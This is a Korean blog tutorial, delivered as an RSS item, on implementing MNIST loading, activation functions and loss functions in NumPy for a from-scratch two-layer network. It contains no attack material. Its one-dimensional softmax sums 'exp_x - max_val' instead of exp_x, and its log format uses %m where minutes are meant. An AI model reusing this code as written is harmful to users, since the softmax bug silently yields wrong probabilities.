<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>dev_benedictus.log</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Thu, 15 Dec 2022 17:26:31 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. dev_benedictus.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/dev_benedictus" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[학습 알고리즘 구현하기]]></title>
            <link>https://velog.io/@dev_benedictus/%ED%95%99%EC%8A%B5-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@dev_benedictus/%ED%95%99%EC%8A%B5-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0</guid>
            <pubDate>Thu, 15 Dec 2022 17:26:31 GMT</pubDate>
            <description><![CDATA[<h2 id="1-학습-알고리즘-구현">1. 학습 알고리즘 구현</h2>
<h3 id="1-1-학습-알고리즘-구현-과정">1-1. 학습 알고리즘 구현 과정</h3>
<p>단계별로 나누어 설명하자면, 아래와 같다.</p>
<p><strong>사전 준비)</strong> 훈련용, 시험용 데이터와 그 레이블을 준비한다.
<strong>1단계)</strong> 훈련 데이터 중 일부를 무작위로 가져온다.(미니 배치)
<strong>2단계)</strong> 각 가중치 매개변수의 수치 미분(기울기)을 구한다.
<strong>3단계)</strong> 기울기 정보를 활용해 가중치 매개 변수를 적절한 방향으로 갱신한다.
<strong>4단계)</strong> 1~3단계를 (정해진 에포크 * 배치 사이즈)만큼 반복한다.</p>
<p>모든 훈련 데이터를 한 번 사용한 것을 <strong>1 에포크(Epoch)</strong>라고 한다. <strong>미니 배치를 사용하는 경우, 예를 들어 batch size가 100이고 훈련 데이터가 10000개라면, 미니 배치 학습을 100번 하면 1 에포크</strong>가 된다. 이 에포크 값은 Hyper Parameter중 하나로, <strong>너무 작으면 학습이 제대로 이뤄지지 않고</strong>, <strong>너무 크면 과적합(Overfitting)이 발생할 가능성이 크다.</strong> 그러므로 시험 데이터로 신경망의 범용적인 성능을 평가하며 적절한 값을 사용하는 것이 좋다.</p>
<p>어쨌든 이것이 신경망 학습이 이뤄지는 순서다. 우린 경사 하강법으로 매개 변수를 갱신할 것인데, 이때 데이터를 미니 배치로, 즉 무작위로 뽑아오기 때문에 이 방법을 <strong>확률적 경사 하강법(Stochastic Gradient Descent)</strong>이라고 부른다.</p>
<p>재사용 가능성이 있는 코드는 common 디렉터리 내부에 넣어서 패키지를 만들어버릴 예정이다. 따라서 디렉터리 구조는 아래와 같다.</p>
<p>2-Layer-NeuralNet/
2-Layer-NeuralNet/Two_Layer_NeuralNet.py
2-Layer-NeuralNet/main.py
common/
common/__init__.py
common/MNIST_Loader.py
common/Activate_Functions.py
common/Loss_Functions.py
common/Calc_Gradient.py
common/Optimizers.py
<strong><a href="https://github.com/BenKerry/DL-from-scratch"><center>[Github Link]</center></a></strong>
<img src="https://images.velog.io/images/developerkerry/post/0677a181-f06b-42cc-bb5d-60a9dee6042b/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202022-01-23%20%EC%98%A4%ED%9B%84%205.53.59.png" alt=""></p>
<p>일단 2-Layer-NeuralNet(MNIST)/ 디렉터리와 common/ 디렉터리를 만든 후 common/ 디렉터리에 __init__.py 파일을 생성하고, 2층 신경망으로 MNIST 손글씨 숫자를 학습/인식하는 신경망 구현을 시작해 보자!</p>
<p><strong>알아둘 것) MacBook Pro 2019 16inch, i7 모델 기준 학습 소요 시간이 대략 45시간 정도다. 그러니 &#39;직접 구현을 해본다&#39;에 의미를 뒀으면 좋겠다. 다음 포스트에서 언급할 오차 역전파법을 이용하면 속도가 비약적으로 향상되니, 이번 포스트에서 만든 신경망을 가지고 컴퓨터를 2~3일 내내 혹사시키지는 말자. 정신 건강에 해롭다.</strong></p>
<h3 id="1-2-mnist-dataset-다운로드--로딩">1-2. MNIST Dataset 다운로드 &amp; 로딩</h3>
<p>MNIST Dataset을 다운로드 받고, 이것을 신경망 학습에 적절한 형태로 전처리하여 반환하는 모듈을 구현할 것이다. common/ 디렉터리 하위에 MNIST_Loader.py 파일을 만들고 거기서 작업을 시작하면 된다.</p>
<p>필요한 import는 아래와 같다.</p>
<pre><code>import os
import time
import gzip
import pickle
import numpy as np
import urllib.request as req</code></pre><p>먼저, 다운로드 시작, 파일 쓰기 등 동작이 수행될 때 현재 진행중인 동작에 대한 로그를 Console에 찍어주는 _log 함수를 만들겠다.</p>
<pre><code>def _log(msg):
    print(&quot;[Log][{0}]&quot;.format(time.strftime(&quot;%H:%m:%S&quot;)) + msg)</code></pre><p>함수명 앞에 언더바(_) 하나를 붙이면 &#39;내부용 함수&#39;라는 의미이다. 내부용 함수는 동일한 모듈에서만 호출 가능하다.</p>
<p>이번에는 <a href="http://yann.lecun.com/exdb/mnist/">MNIST Dataset을 다운로드</a>하는 함수를 구현하겠다.</p>
<pre><code>def _download_dataset(fname, save_name):
    _log(&quot;[_download_dataset()] Starting Dataset Download...({0})&quot;.format(fname))
    fpath = &quot;MNIST_Raw/&quot;

    if not os.path.isdir(fpath):
        os.mkdir(fpath)
    else:
        if os.path.isfile(fpath + save_name):
            _log(&quot;[_download_dataset()] {0} Already Exists. Download Stopped.&quot;.format(fname))
            return
    req.urlretrieve(&quot;http://yann.lecun.com/exdb/mnist/&quot; + fname, fpath + save_name)
    _log(&quot;[_download_dataset()] Done!&quot;)</code></pre><p>다운로드 받을 파일의 이름과 다운로드 된 파일을 저장할 이름을 함수의 인자로 주면, 해당 파일을 다운로드한 후 지정된 이름으로 저장을 한다. </p>
<p>파일 다운로드는 urllib.request 모듈에서 제공하는 urlretrieve() 메서드를 사용했다. 다운로드할 파일의 URL과, 저장할 경로&amp;파일명을 인자로 넘겨주면 파일을 다운로드 하고 지정된 경로에 저장한다. </p>
<p>아직 전처리되지 않은 Dataset 파일은 MNIST_Raw/ 디렉터리에 저장한다. 만약 MNIST_Raw/ 디렉터리가 없다면 파일을 다운로드 받기에 앞서 MNIST_Raw/ 디렉터리를 만든다. 또, 이미 파일을 다운로드 받은 적이 있으면 파일을 다운로드하지 않고 함수를 종료한다.</p>
<hr>
<p>이번에는 어떤 객체를 파일에 저장하는 함수, 파일에 저장된 객체를 읽어오는 함수와 MNIST Dataset 파일로부터 데이터를 읽어오는 함수, Label을 읽어오는 함수를 작성할 것이다.</p>
<pre><code>def _load_pkl(fname):
    _log(&quot;[_load_pkl()] Loading data from {0}.pkl...&quot;.format(fname))
    data = None
    with open(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;, &quot;rb&quot;) as fp:
        data = pickle.load(fp)
    _log(&quot;[_load_pkl()] Done!&quot;)
    return data

def _dump_pkl(fname, data):
    _log(&quot;[_dump_pkl()] Output data to {0}.pkl...&quot;.format(fname))
    with open(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;, &quot;wb&quot;) as fp:
        pickle.dump(data, fp)
    _log(&quot;[_dump_pkl()] Done!&quot;)

def _load_imgs(fname):
    data = None
    if os.path.isfile(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;):
        _log(&quot;[_load_imgs()] Loading images from {0}.pkl&quot;.format(fname))
        data = _load_pkl(fname)
    else:
        _log(&quot;[_load_imgs()] Loading images from {0}&quot;.format(fname))
        with gzip.open(&quot;MNIST_Raw/&quot; + fname, &quot;rb&quot;) as fp:
            data = np.frombuffer(fp.read(), np.uint8, offset=16)

        # row 차원 위치에 -1을 넣으면, 
        # shape가 (numOfData / column) * column이 됨.
        data = data.reshape(-1, 784)
        _dump_pkl(fname, data)

    _log(&quot;[_load_imgs()] Done!&quot;)
    return data

def _load_labels(fname):
    data = None
    if os.path.isfile(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;):
        _log(&quot;[_load_labels()] Loading labels from {0}&quot;.format(fname + &quot;.pkl&quot;))
        data = _load_pkl(fname)
    else:
        _log(&quot;[_load_labels()] Loading labels from {0}&quot;.format(fname))
        with gzip.open(&quot;MNIST_Raw/&quot; + fname, &quot;rb&quot;) as fp:
            data = np.frombuffer(fp.read(), np.uint8, offset=8)

        _dump_pkl(fname, data)

    _log(&quot;[_load_labels()] Done!&quot;)
    return data</code></pre><p>_load_pkl() 함수와 _dump_pkl() 함수에 관해서는 <strong>_load_imgs(), _load_lables() 함수를 먼저 소개한 후 설명</strong>하도록 하겠다.</p>
<p>_load_imgs(), _load_lables() 함수에 관해 설명할 것은 크게 두 가지다.</p>
<ul>
<li>gzip.open()에 관하여</li>
<li>np.frombuffer()에 관하여</li>
<li>np.frombuffer()의 shape</li>
</ul>
<hr>
<p>하나씩 설명하겠다. 먼저 gzip.open()에 대해 얘기해 보겠다.</p>
<p>_load_imgs(), _load_labels()에서 파일을 open() 함수로 열지 않고 gzip.open()으로 열었다. Dataset 파일이 .gz 타입 파일이기 때문에 gzip.open()으로 연 것이다. 사실 원래대로라면 .gz타입 파일을 압축 해제하고, 그걸 저장한 뒤에, 다시 그 파일을 open() 함수로 열어서 사용을 해야 했다.</p>
<p>그러나 gzip.open()을 이용해 파일을 열면 압축을 해제하는 과정 없이 바로 .gz 타입 파일로부터 데이터를 읽어올 수 있다. 그래서 gzip.open()을 사용해 ioStream을 생성한 것이다.</p>
<p>아무튼, 이렇게 파일을 열고 fp.read()의 반환을 np.frombuffer()의 첫 번째 인자로 넣어준다. fp.read() 함수는 기본적으로 아무 인자도 넘겨주지 않으면 파일의 처음부터 끝까지를 읽는다. 지금의 경우 Filemode가 &quot;rb&quot;이므로, 지정된 .gz 타입 파일을 전부 읽어 bytes 타입으로 가져온다.</p>
<hr>
<p>이번에는 np.frombuffer()를 설명하겠다.</p>
<p>np.frombuffer()의 첫째 인자로 fp.read()를 줬다. 즉, Dataset 파일의 전체 Byte가 담긴 Bytes를 인자로 줬다. 두 번째 인자로는 np.uint8을 줬는데, 이것은 첫째 인자로 주어진 Bytes를 8bit(1 byte)씩 읽어서 그걸 unsigned integer형으로 해석해 np.array를 하나씩 채우라는 의미다. 그리고 마지막 offset은 첫 번째 인자인 Bytes 배열의 offset byte 지점부터 데이터를 읽으라는 의미다.</p>
<p>잠깐, 왜 처음부터 읽지 않고 Image Data는 16byte 지점부터, Label은 8byte 지점부터 읽으라고 하는 걸까?</p>
<p>답은 MNIST Dataset 파일의 구조에 있다. MNIST Dataset 중 이미지가 담긴 파일은 아래와 같은 구조다.</p>
<p>32bit Integer: Magic Number
32bit Integer: Number of Images
32bit Integer: Number of rows
32bit Integer: Number of Columns
*) 이후부터 끝까지 unsigned byte형 이미지 픽셀 값이 들어있음.
**) 28px * 28px = 784byte당 사진 한 장씩</p>
<p>32 * 4bit, 즉, <strong>16byte 지점 이후부터 이미지 데이터가 들어있는 것</strong>이다. 그래서 _load_imgs 내부 np.frombuffer()의 offset에 16이란 값을 준 것이다. 또, <strong>이미지의 각 픽셀이 unsigned byte형, 즉 uint8형으로 저장되어 있기 때문에 np.frombuffer()의 두 번째 인자로 np.uint8를 준 것</strong>이다.</p>
<p>MNIST Dataset 중 레이블이 담긴 파일은 구조가 아래와 같다.</p>
<p>32bit Integer: Magic Number
32bit Integer: Number of Items
*) 이후부터 끝까지 unsigned byte형 레이블 값이 들어있음.</p>
<p>추가로, Image Dataset과 Label Dataset은 784byte - 1byte씩 짝지어지는 관계라고 할 수 있다.</p>
<p>아무튼, 이제는 왜 np.uint8을 두 번째 인자로 줘서 8bit씩 unsigned integer형으로 읽으라고 했는지, 왜 offset 값을 위 코드처럼 설정했는지 이해가 갔을 것이다.</p>
<hr>
<p><strong>np.frombuffer()는 1차원 배열을 반환</strong>한다. 그렇기 때문에 읽어온 데이터를 사용하기 위해서는 reshape를 거쳐야 한다. </p>
<p>일단, _load_labels()에서의 np.frombuffer()의 반환값은 reshape를 할 필요가 없다. 그저 한 요소가 하나의 Label이 되기 때문이다. 하지만 _load_imgs()에서는 1차원 배열의 요소를 784개씩 묶어야 각각 하나의 이미지가 되어 신경망에 학습시킬 수 있다. 그래서 파일을 읽은 후에 아래 코드를 실행하는 것이다.</p>
<pre><code>data = data.reshape(-1, 784)</code></pre><p>이렇게 하면 맨 앞에서부터 784열(Column)의 요소씩 묶인 배열 여러 개가 들어있는 2차원 배열이 나온다. 그렇게 되면 data[0], data[1]과 같은 방식으로 각 이미지가 1차원으로 평탄화되어 들어있는 np.array를 가져올 수 있다.</p>
<p>단, 현재의 이미지는 평탄화 되어 있는 상태이므로, 이미지를 matplotlib으로 표시하고 싶다면 data[index].reshape(28, 28)와 같은 방식으로 reshape를 해 주어야 한다.</p>
<hr>
<p>이제는 _load_pkl() 함수와 _dump_pkl() 함수의 사용에 대해 설명하겠다.</p>
<p>본격적인 설명에 앞서 Pickle을 소개하자면, <strong>Pickle은 Python object를 파일에 저장할 수 있도록 해주는 모듈</strong>이다. 아래처럼 사용하면 객체를 파일에 저장하거나, 읽어올 수 있다.</p>
<pre><code>import pickle

data = None
obj = object()

with open(&quot;data.pkl&quot;, &quot;wb&quot;) as fp:
    pickle.dump(obj, fp)

with open(&quot;data.pkl&quot;, &quot;rb&quot;) as fp:
    data = pickle.load(fp)</code></pre><p>위처럼, pickle.dump()의 첫 번째 인자로 어떤 객체를, 두 번째 인자로 File Stream을 주면 Python 객체가 해당 파일에 저장된다.</p>
<p>그리고 pickle.load()에 File Stream을 주면 해당 파일에 저장되어 있던 Python 객체가 반환된다.</p>
<p>필자는 프로그램 <strong>첫 실행 시에만 .gz 타입으로 되어 있는 MNIST Dataset 파일을 1차원 np.array의 형태로 읽어오고 신경망을 학습시키기에 적절한 shape로 가공한 결과를 그대로 파일에 저장</strong>했다가, <strong>두 번째 실행부터는 파일에 저장되어 있던 np.array를 곧바로 꺼내와 반환</strong>하기 위해 Pickle을 사용했다.</p>
<hr>
<p>_load_pkl() 함수와 _dump_pkl() 함수는 np.array 형태의 데이터를 파일에 저장하거나, 파일로부터 읽어오는 부분을 분리한 함수다. </p>
<p>_load_imgs(), _load_lables() 함수를 잘 보면, 아래와 같은 코드가 있다.</p>
<pre><code>if os.path.isfile(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;):
        _log(&quot;[_load_labels()] Loading labels from {0}&quot;.format(fname + &quot;.pkl&quot;))
        data = _load_pkl(fname)</code></pre><p>이것은 MNIST_pkl/ 디렉터리에 [fname].pkl 파일이 존재한다면, MNIST Dataset의 .gz 타입 파일을 읽는 대신 MNIST_pkl/[fname].pkl 파일에 저장된 np.array 객체를 _load_pkl 함수로써 data 변수에 할당하는 코드이다. </p>
<p>만약 MNIST_pkl/ 디렉터리에 [fname].pkl 파일이 존재하지 않으면, 그 때는 MNIST Dataset의 .gz 타입 파일을 읽는다. 그리고 np.array 타입의 label과, reshape를 통해 784열(row)씩 묶인 np.array들이 들어있는 2차원 np.array 타입의 데이터를 _dump_pkl 함수로써 파일에 저장한다.</p>
<p>아무래도 매번 실행시마다 압축이 되어 있는 MNIST Dataset의 .gz 타입 파일을 읽는 것보다는, 첫 번째 실행 시 Pickle을 이용해 np.array를 그대로 파일에 저장했다가 2차 실행시부터는 해당 파일을 바로 읽어오는 것이 속도가 빠를 것 같아 이런 식으로 구현을 했다.</p>
<pre><code>def _load_pkl(fname):
    _log(&quot;[_load_pkl()] Loading data from {0}.pkl...&quot;.format(fname))
    data = None
    with open(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;, &quot;rb&quot;) as fp:
        data = pickle.load(fp)
    _log(&quot;[_load_pkl()] Done!&quot;)
    return data

def _dump_pkl(fname, data):
    _log(&quot;[_dump_pkl()] Output data to {0}.pkl...&quot;.format(fname))
    with open(&quot;MNIST_pkl/&quot; + fname + &quot;.pkl&quot;, &quot;wb&quot;) as fp:
        pickle.dump(data, fp)
    _log(&quot;[_dump_pkl()] Done!&quot;)</code></pre><p>위 코드의 _load_pkl() 함수는 MNIST_pkl 디렉터리에서 fname에 해당하는 파일에 저장되어 있던 객체를 불러오는 함수이고, _dump_pkl() 함수는 MNIST_pkl 디렉터리에 fname이라는 이름의 파일을 만들고 거기에 data를 저장하는 함수이다.</p>
<hr>
<p>이번엔 _init_MNIST() 함수를 소개하겠다. </p>
<pre><code>def _init_MNIST():
    s = time.time()
    if not os.path.isdir(&quot;MNIST_pkl/&quot;):
        os.mkdir(&quot;MNIST_pkl/&quot;)

    _log(&quot;[_init_MNIST()] Downloading MNIST Dataset...&quot;)
    _download_dataset(&quot;train-images-idx3-ubyte.gz&quot;, &quot;train_img.gz&quot;)
    _download_dataset(&quot;train-labels-idx1-ubyte.gz&quot;, &quot;train_lbl.gz&quot;)
    _download_dataset(&quot;t10k-images-idx3-ubyte.gz&quot;, &quot;test_img.gz&quot;)
    _download_dataset(&quot;t10k-labels-idx1-ubyte.gz&quot;, &quot;test_lbl.gz&quot;)
    _log(&quot;[init_MNIST()] Dataset Downloaded.&quot;)

    _log(&quot;[_init_MNIST()] Loading Dataset...&quot;)
    train_imgs = _load_imgs(&quot;train_img.gz&quot;)
    train_lbls = _load_labels(&quot;train_lbl.gz&quot;)

    test_imgs = _load_imgs(&quot;test_img.gz&quot;)
    test_lbls = _load_labels(&quot;test_lbl.gz&quot;)
    _log(&quot;[_init_MNIST()] Dataset Loaded.&quot;)
    _log(&quot;[_init_MNIST()] Elapsed Time: {0}s&quot;.format(time.time() - s))

    return (train_imgs, train_lbls), (test_imgs, test_lbls)</code></pre><p>_init_MNIST() 함수는 _download_dataset() 함수를 이용해 모든 MNIST Dataset 파일을 내려받는다. </p>
<p>이어서 _load_imgs(), _load_labels() 함수를 이용해 학습용 이미지(train_imgs)와 학습용 Label(train_lbls), 시험용 이미지(test_imgs)와 시험용 Label(test_lbls)을 .gz 파일로부터, 혹은 Pickle을 통해 np.array가 저장된 파일로부터 읽어온다.</p>
<p>그리고 time.time() 함수를 이용해 데이터 다운로드 및 로딩에 걸린 시간을 측정, 출력한다.</p>
<p>마지막으로는 학습 및 시험에 필요한 데이터가 저장된 train_imgs, train_lbls, test_imgs, test_lbls를 (train_imgs, train_lbls), (test_imgs, test_lbls) 형태로 반환한다. 이게 끝이다. 딱히 이해가 필요한 부분은 없을 것이다.</p>
<hr>
<p>마지막으로 소개할 함수는 _one_hot_encoder() 함수와 load_mnist() 함수다.</p>
<pre><code>def _one_hot_encoder(x):
    tmp = np.zeros((x.size, 10))

    for i in range(x.shape[0]):
        tmp[i][x[i]] = 1

    return tmp

def load_MNIST(normalize=True, flatten=True, one_hot_encoding=True):
    (train_imgs, train_lbls), (test_imgs, test_lbls) = _init_MNIST()

    if normalize:
        train_imgs = train_imgs / 255
        test_imgs = test_imgs / 255

    if not flatten:
        train_imgs = train_imgs.reshape(-1, 1, 28, 28)
        test_imgs = test_imgs.reshape(-1, 1, 28, 28)

    if one_hot_encoding:
        train_lbls = _one_hot_encoder(train_lbls)
        test_lbls = _one_hot_encoder(test_lbls)

    return (train_imgs, train_lbls), (test_imgs, test_lbls)</code></pre><p>_init_MNIST() 함수의 Return을 그대로 언패킹해서 변수에 담고, 인자로 주어진 normalize가 True이면 학습용, 시험용 이미지 데이터를 0~1 사이의 수로 정규화한다.</p>
<p>인자 중 flatten이 True인 경우는 특별한 처리를 하지 않고, 만약 False가 넘어오면 이미지 데이터를 -1, 1, 28, 28 형상으로 만든다.</p>
<p>마지막 인자인 *one_hot_encoding이 True이면 _one_hot_encoder() 함수를 이용해 1차원 np.array이던 train_lbls, test_lbls에 10열짜리 one-hot label들이 들어있는 2차원 np.array를 재할당 한다.</p>
<p>*) one-hot encoding은 분류할 클래스의 수에 해당하는 길이의 배열을 만들고, 정답에 해당하는 인덱스는 1로, 나머지는 0으로 채우는 것을 말한다. 예를 들어 손글씨 숫자 인식 모델이고, img[0]에 대한 정답이 3이라면, <strong>[0, 0, 0, 1, 0, 0, 0, 0, 0, 0]</strong>을 label로 사용하는 것이다.
**) MNIST Dataset의 레이블은 단일 정수로 구성되어 있기 때문에, 학습에 사용하려면 레이블을 one-hot encoding하는 것이 좋다. 만약 단일 정수를 그대로 레이블로 사용한다면 신경망의 예측 결과가 소수로 나올 것이다. 그런데, 그렇게 되면 그것을 반올림한 값을 정답으로 인정해야 할지, 반내림한 값을 정답으로 인정해야 할지에 관한 문제가 생긴다.</p>
<h3 id="1-3-활성화-함수">1-3. 활성화 함수</h3>
<p>신경망 학습에는 활성화 함수가 필요하다. 그러므로, 이번에는 각종 활성화 함수들이 들어있는 모듈을 만들 것이다. 모듈의 이름은 Activation_Functions.py이다. 역시 common/ 디렉터리 하위에 만들고 작업을 시작하면 된다.</p>
<p>필요한 import 구문은 아래와 같다.</p>
<pre><code>import numpy as np</code></pre><p>Sigmoid와 Softmax 활성화 함수는 이전에도 설명을 했다. 그러나, 우리는 미니배치 학습을 사용할 것이기 때문에, softmax() 활성화 함수에 변경점이 약간 있다.</p>
<pre><code>def sigmoid(x):
    return 1 / (1 + np.exp(-x))

def softmax(x):
    if x.ndim == 2:
        x = x.T - np.max(x, axis=0)
        return (np.exp(x) / np.sum(np.exp(x), axis=0)).T

    max_val = np.max(x)
    exp_x = np.exp(x - max_val)
    exp_x_sum = np.sum(exp_x - max_val)

    return exp_x / exp_x_sum</code></pre><p>if문 블록을 제외한 나머지 부분은 이전과 같다. if문 블록은 미니배치 형태의 데이터가 들어왔을 때 수행하는 부분이다. </p>
<p>x에 np.array가 담겨있을 때, x.T를 하면 x의 *전치행렬이 반환된다. 즉 if문 내의 첫 번째 줄 코드인 x = x.T는 x를 전치행렬로 바꾸는 부분이다. 왜 x를 가지고 그대로 연산하지 않고 굳이 전치행렬로 바꿔서 사용하는 걸까?</p>
<p>*) 전치행렬: (i, j)번째 원소를 (j, i)에 배치한 행렬. $a^T$를 $a$의 전치행렬이라 했을 때,</p>
<p>$$
a=\left[\begin{matrix}
a&amp;b&amp;c\
d&amp;e&amp;f
\end{matrix} \right]
$$
$$
a^T=\left[\begin{matrix}
a&amp;d\
b&amp;e\
c&amp;f
\end{matrix} \right]
$$
$$
(a^T)^T=\left[\begin{matrix}
a&amp;b&amp;c\
d&amp;e&amp;f
\end{matrix} \right]
$$</p>
<p>활성화 함수 구현의 용이성에 있어 전치행렬을 사용하는 편이 훨씬 낫기 때문이다. 아래 인터프리터 입출력을 보자.</p>
<pre><code>&gt;&gt;&gt; import numpy as np
&gt;&gt;&gt; a = np.array([[1, 2, 3], [4, 5, 6]])
&gt;&gt;&gt; a
array([[1, 2, 3],
       [4, 5, 6]])
&gt;&gt;&gt; np.max(a, axis=0)
array([4, 5, 6])</code></pre><p>[[1, 2, 3], [4, 5, 6]]배열이 담긴 a 변수를 softmax() 함수에 넘겨 각 row에 대한 softmax 출력을 구해야 한다고 생각해보자. 그럼 a[0] - np.max(a[0]), a[1] - np.max(a[1])을 해줘야 하는데... 이 방법도 괜찮긴 하지만 코드 길이가 좀 더 길어진다.</p>
<p>그럼, 그냥 a - np.max(a, axis=0)을 하면 어떨까?</p>
<pre><code>&gt;&gt;&gt; np.max(a, axis=0)
array([4, 5, 6])
&gt;&gt;&gt; a - np.max(a, axis=0)
array([[-3, -3, -3],
       [ 0,  0,  0]])</code></pre><p>아이고마... np.max(a, axis=0)이 브로드캐스트 되어
$$
\left[\begin{matrix}
1&amp;2&amp;3\
4&amp;5&amp;6
\end{matrix} \right]-\left[\begin{matrix}
4&amp;5&amp;6\
4&amp;5&amp;6
\end{matrix} \right]
$$
이 되어버린다. 애당초 a에서 [4, 5, 6]을 뺀다는 것 자체가 말이 안 되는 짓이긴 하다. a[0]에서는 a[0]의 요소중 최댓값인 3을 빼고, a[1]에서는 a[1]의 요소중 최댓값인 6을 빼는 게 올바른 계산법이기 때문이다. 잠깐, 그러면 np.max(a, axis=1)을 쓰면 안 되냐고? 된다!</p>
<pre><code>&gt;&gt;&gt; a - np.max(a, axis=1)
Traceback (most recent call last):
  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;
ValueError: operands could not be broadcast together with shapes (2,3) (2,)</code></pre><p>근데 이렇게 하면 안 되고...</p>
<pre><code>&gt;&gt;&gt; a - np.max(a, axis=1).reshape(2, 1)
array([[-2, -1,  0],
       [-2, -1,  0]])</code></pre><p>이렇게 해주면 된다. 근데 전치행렬을 쓰면, 아래처럼 흘러간다.</p>
<pre><code>&gt;&gt;&gt; a = a.T
&gt;&gt;&gt; a
array([[1, 4],
       [2, 5],
       [3, 6]])
&gt;&gt;&gt; np.max(a, axis=0)
array([3, 6])
&gt;&gt;&gt; a - np.max(a, axis=0)
array([[-2, -2],
       [-1, -1],
       [ 0,  0]])
&gt;&gt;&gt; np.exp(a)
array([[  2.71828183,  54.59815003],
       [  7.3890561 , 148.4131591 ],
       [ 20.08553692, 403.42879349]])
&gt;&gt;&gt; np.sum(np.exp(a))
636.6329774790333
&gt;&gt;&gt; y = np.exp(a) / np.sum(np.exp(a))
&gt;&gt;&gt; y
array([[0.00426978, 0.08576079],
       [0.01160646, 0.23312201],
       [0.03154963, 0.63369132]])
&gt;&gt;&gt; y.T
array([[0.00426978, 0.01160646, 0.03154963],
       [0.08576079, 0.23312201, 0.63369132]])</code></pre><p>쨘! 아주 깔끔하게 계산이 된다. </p>
<p>1) a를 전치행렬로 바꾼다.
2) 그 후 np.max(a, axis=0)을 하면 각 열의 최댓값이 나오고,
3) 그걸 a에서 바로 뺼 수 있으니 a에서 np.max(a, axis=0)을 빼버리고
4) 그 결과를 가지고 np.exp(a) / np.sum(np.exp(a))를 수행하고
5) a.T를 출력하면 $a=(a^T)^T$이므로 올바른 Cross-Entropy Error가 담긴 배열이 나온다!</p>
<p>그러니까... Cross-Entropy를 구하는 방식은 크게 세 가지가 있다.</p>
<p>1번 방법) np.max(x, axis=1)을 reshape하여 x에 적용, np.sum(np.exp(x), axis=1)을 reshape하여 np.exp(x)를 나눠줌</p>
<pre><code>if x.ndim == 2:
    x -= np.max(x, axis=1).reshape(x.shape[0], 1)
    return np.exp(x) / np.sum(np.exp(x), axis=1).reshape(x.shape[0], 1)</code></pre><p>모든 np.max(), np.sum()에 axis=1을 마지막 인수로 주고 reshape(x.shape[0], 1)까지 해줘야 해서 상당히... 스파게티 코드 같은 느낌이 난다.</p>
<p>2번 방법) 전치행렬을 이용한 방법</p>
<pre><code>if x.ndim == 2:
    x = x.T - np.max(x, axis=0)
    return (np.exp(x) / np.sum(np.exp(x), axis=0)).T</code></pre><p>shape를 참조할 일도 없고, reshape를 사용할 일도 없다. 훨씬 깔끔하고, &#39;아하! 미니배치 데이터가 들어올 경우를 대비한 거구나!&#39; 하는 것을 바로 느낄 수 있다. 그래서 나는 개인적으로 2번 방법이 더 나은 것 같다. 물론 1번 방법이나 2번 방법이나 작동은 잘 되기 때문에 취향에 맞게 골라서 사용하면 되겠다.</p>
<h3 id="1-4-손실-함수">1-4. 손실 함수</h3>
<p>신경망을 최적화하기 위해서는 손실 함수가 필요하다. common/ 디렉터리 하위에 Loss_Functions.py 파일을 만들고 구현을 시작하자.</p>
<p>import 해야 하는 모듈은 아래와 같다.</p>
<pre><code>import numpy as np</code></pre><p>이후 평균제곱합 오차를(Mean Squared Error) 구하는 함수와 교차 엔트로피 오차(Cross-Entropy Error)를 구하는 함수를 구현하자. 먼저 함수의 인자로 던져줄 y와 t를 만들자.</p>
<pre><code>def mean_squared_error(y, t):
    if y.ndim == 1:
        t = t.reshape(1, t.size)
        y = y.reshape(1, y.size)

    return np.sum((y - t) ** 2) / y.shape[0]

def cross_entropy_error(y, t):
    if y.ndim == 1:
        t = t.reshape(1, t.size)
        y = y.reshape(1, y.size)

    return -np.sum(t * np.log(y + 1e-7)) / y.shape[0]</code></pre><p>mean_squared_error() 함수, cross_entropy_error() 함수는 예측값, 실측값을 순서대로 받아 오차를 구한다. 여기에서 아래 코드가 의미하는 바는 무엇일까?</p>
<pre><code>if y.ndim == 1:
    t = t.reshape(1, t.size)
    y = y.reshape(1, y.size)</code></pre><p>일단 아래 부분에 집중을 해 보자.</p>
<pre><code>return -np.sum(t * np.log(y + 1e-7)) / y.shape[0]</code></pre><p>이 부분 중에서도 아래 부분을 보자.</p>
<pre><code>-np.sum(t * np.log(y + 1e-7))</code></pre><p>여기까지는 괜찮다. y에 np.array([0.1, 0.4, 0.5])가 들어가고 t에는 np.array([0, 1, 0])이 들어가든, y에 np.array([[0.1, 0.4, 0.5]])가 들어가고, t에는 np.array([[0, 1, 0], [0, 0, 1]])이 들어가든, 작동은 된다. </p>
<p>하지만 Cross-Entropy의 평균을 구하기 위해 -np.sum(t * np.log(y + 1e-7))을 y.shape[0]으로 나누는 과정에서 문제가 생긴다. 1차원 배열이 입력으로 주어져버리면 y가 하나의 예측값을 나타내는 배열임에도 y.shape[0]이 y의 요소 개수가 되어 이상한 평균값을 내놓아 버린다.</p>
<p>다시 y에 np.array([0.1, 0.4, 0.5])가 들어가고 t에는 np.array([0, 1, 0])이 들어가는 경우를 생각해보자. y에는 하나의 예측값이, t에는 하나의 실측값이 들어갔다. 그렇기 때문에 -np.sum(t * np.log(y + 1e-7))를 1로 나눠줘야 하는데, y.shape[0]은 3이므로 3으로 나누게 된다. 이것은 올바른 결과가 아니다.</p>
<p>그렇기 때문에 y.ndim이 1인 경우, 즉 하나의 예측값과 실측값이 들어가는 경우에는 그것들을 reshape해서 2차원 배열로 만들어주어야 정상적인 결과가 나온다. 그래서 y.ndim 값에 따라 y, t를 reshape하는 코드가 들어간 것이다.</p>
